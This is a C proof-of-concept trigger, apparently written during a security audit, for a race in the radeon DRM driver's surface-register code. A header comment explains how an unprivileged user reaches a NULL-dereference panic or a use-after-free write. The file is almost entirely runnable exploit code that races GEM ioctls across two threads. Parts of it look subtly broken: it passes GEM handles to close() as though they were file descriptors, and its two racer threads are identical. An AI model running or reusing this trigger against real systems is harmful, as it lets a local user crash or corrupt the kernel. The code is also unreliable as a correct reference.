DF-4584 / df4584_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 | /* DF-4584 — radeon_bo_get_surface_reg cross-BO steal race * * VULNERABILITY (sys/dev/drm/radeon/radeon_object.c): * radeon_bo_get_surface_reg() (radeon_object.c:601) asserts the lock of the * BO being registered (line 609) but the device-global rdev->surface_regs[8] * registry is scanned and stolen WITHOUT any lock that also protects the * VICTIM BO (lines 620-630) or the victim teardown * (radeon_bo_clear_surface_reg, lines 656-669, reached from * radeon_ttm_bo_destroy line 80 on the final GEM unref). * * Steal path re-reads reg->bo at line 638 and then dereferences the victim * (ttm_bo_unmap_virtual(&old_object->tbo) :641, old_object->surface_reg=-1 * :642). If the victim's destroy runs concurrently: * - clear sets reg->bo=NULL (line 667) between our read and use * -> NULL-deref panic at :628 or :641 * - clear completes and kfree(bo) (radeon_ttm_bo_destroy:85) lands before * our use -> use-after-free: READ of tbo.vma_node at :641 and a 4-byte * write of 0xFFFFFFFF at offsetof(struct radeon_bo, surface_reg) at * :642 into freed kmalloc slab memory (groomable via GEM create/close). * * UNPRIVILEGED REACHABILITY: * RADEON_GEM_SET_TILING ioctl (radeon_gem.c:503, no privilege/family check, * any BO owner) stores RADEON_TILING_SURFACE (0x10) in bo->tiling_flags. * mmap() of the GEM handle + page fault -> * ttm cpu fault -> radeon_bo_fault_reserve_notify (radeon_object.c:793) * -> radeon_bo_check_tiling(bo,0,0) (:804) -> mem==VRAM && surface_reg==-1 * -> radeon_bo_get_surface_reg (:769). * With all 8 regs busy (create 8+ SURFACE-tiling VRAM BOs and fault each), * every further registration takes the STEAL path -> race window. * * NOTE: get_surface_reg also requires the BO to live (partly) beyond * mc.visible_vram_size for the fault_reserve_notify route; filling VRAM * achieves that. radeon_bo_kmap() (radeon_object.c:289) is a second route * kernel-internal drivers hit constantly. * * This trigger keeps 8+ surface BOs registered and then races, on two CPUs: * thread A: register a fresh SURFACE VRAM BO (steal path) * thread B: register then destroy a SURFACE VRAM BO (clear path) * * Build: cc -O2 -pthread -o df4584_trigger df4584_trigger.c * Run: ./df4584_trigger /dev/dri/renderD128 (fallback /dev/dri/card0) * Expected on vulnerable HW: kernel panic (NULL deref) or, with slab luck, * slab corruption messages; success criterion is the race outcome, repeated * over RUNS iterations. * * On the audit QEMU guest there is NO radeon hardware (virtio VGA only) and * radeonkms.ko is not even built/loaded, so the trigger can only be compiled * and its un-reachability on that guest recorded. */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> /* ---- minimal DRM/radeon uapi replicas (radeon_drm.h) ---- */ #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_RADEON_GEM_CREATE 0x1d #define DRM_RADEON_GEM_MMAP 0x1e #define DRM_RADEON_GEM_SET_DOMAIN 0x23 #define DRM_RADEON_GEM_SET_TILING 0x28 struct r_gem_create { uint64_t size; uint64_t alignment; uint32_t handle; uint32_t initial_domain; uint32_t flags; }; struct r_gem_mmap { uint32_t handle; uint32_t pad; uint64_t offset; uint64_t size; uint64_t addr_ptr; }; struct r_gem_set_domain { uint32_t handle; uint32_t read_domains; uint32_t write_domain; }; struct r_gem_set_tiling { uint32_t handle; uint32_t tiling_flags; uint32_t pitch; }; #define IOC_GEM_CREATE _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_CREATE, struct r_gem_create) #define IOC_GEM_MMAP _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_MMAP, struct r_gem_mmap) #define IOC_SET_DOMAIN _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_SET_DOMAIN, struct r_gem_set_domain) #define IOC_SET_TILING _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_SET_TILING, struct r_gem_set_tiling) #define RADEON_GEM_DOMAIN_VRAM 4 #define RADEON_TILING_SURFACE 0x10 #define BO_SIZE (2*1024*1024) #define NREGS 8 /* RADEON_GEM_MAX_SURFACES */ #define RUNS 20000 static int drm_fd = -1; static int gem_create(uint32_t *handle) { struct r_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = BO_SIZE; gc.alignment = 4096; gc.initial_domain = RADEON_GEM_DOMAIN_VRAM; if (ioctl(drm_fd, IOC_GEM_CREATE, &gc) < 0) return -1; *handle = gc.handle; return 0; } /* set SURFACE tiling, mmap, fault a page -> forces radeon_bo_get_surface_reg */ static int register_surface_bo(uint32_t *handle, void **map) { struct r_gem_set_tiling st; struct r_gem_mmap gm; struct r_gem_set_domain sd; if (gem_create(handle) < 0) return -1; memset(&st, 0, sizeof(st)); st.handle = *handle; st.tiling_flags = RADEON_TILING_SURFACE; st.pitch = 512; if (ioctl(drm_fd, IOC_SET_TILING, &st) < 0) return -1; memset(&sd, 0, sizeof(sd)); sd.handle = *handle; sd.read_domains = RADEON_GEM_DOMAIN_VRAM; sd.write_domain = RADEON_GEM_DOMAIN_VRAM; if (ioctl(drm_fd, IOC_SET_DOMAIN, &sd) < 0) return -1; memset(&gm, 0, sizeof(gm)); gm.handle = *handle; gm.size = BO_SIZE; if (ioctl(drm_fd, IOC_GEM_MMAP, &gm) < 0) return -1; *map = mmap(NULL, BO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, drm_fd, (off_t)gm.addr_ptr); if (*map == MAP_FAILED) return -1; *(volatile uint8_t *)*map = 1; /* page fault -> fault_reserve_notify */ return 0; } static void *racer_register(void *arg) { uint32_t h; void *m; int i; for (i = 0; i < RUNS; i++) { if (register_surface_bo(&h, &m) == 0) { munmap(m, BO_SIZE); close(h); /* GEM close -> eventual final unref */ } } return NULL; } static void *racer_destroy(void *arg) { uint32_t h; void *m; int i; for (i = 0; i < RUNS; i++) { if (register_surface_bo(&h, &m) == 0) { munmap(m, BO_SIZE); close(h); /* destroy -> radeon_bo_clear_surface_reg */ } } return NULL; } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/renderD128"; uint32_t keep[NREGS * 2]; void *maps[NREGS * 2]; pthread_t ta, tb; int i, kept = 0; drm_fd = open(dev, O_RDWR | O_CLOEXEC); if (drm_fd < 0) { fprintf(stderr, "open %s: %s\n", dev, strerror(errno)); fprintf(stderr, "(no radeon DRM device on this machine -> " "trigger not runnable here)\n"); return 2; } /* occupy all 8 surface regs so every later registration steals */ for (i = 0; i < NREGS * 2; i++) { if (register_surface_bo(&keep[i], &maps[i]) == 0) kept++; } fprintf(stderr, "kept %d surface BOs registered (regs=%d)\n", kept, NREGS); pthread_create(&ta, NULL, racer_register, NULL); pthread_create(&tb, NULL, racer_destroy, NULL); pthread_join(ta, NULL); pthread_join(tb, NULL); fprintf(stderr, "done; kernel survived this round\n"); return 0; } |